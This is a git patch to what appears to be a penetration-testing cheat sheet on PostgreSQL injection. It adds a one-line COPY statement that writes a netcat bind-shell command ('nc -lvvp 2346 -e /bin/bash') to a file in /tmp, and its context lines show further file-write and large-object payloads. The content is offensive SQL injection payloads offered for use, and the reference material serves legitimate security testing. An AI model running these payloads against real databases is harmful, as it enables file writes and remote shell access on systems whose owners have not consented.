From 826130946c2a4619ba74af4b08394ead594bb807 Mon Sep 17 00:00:00 2001 From: Karim Kanso Date: Sat, 30 Jan 2021 14:17:35 +0000 Subject: [PATCH] Add a one line postgres file write --- SQL Injection/PostgreSQL Injection.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/SQL Injection/PostgreSQL Injection.md b/SQL Injection/PostgreSQL Injection.md index dbf7d24..ce07cf4 100644 --- a/SQL Injection/PostgreSQL Injection.md +++ b/SQL Injection/PostgreSQL Injection.md @@ -184,6 +184,11 @@ SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab'; ``` +Or as one line: +```sql +COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; +``` + ```sql SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20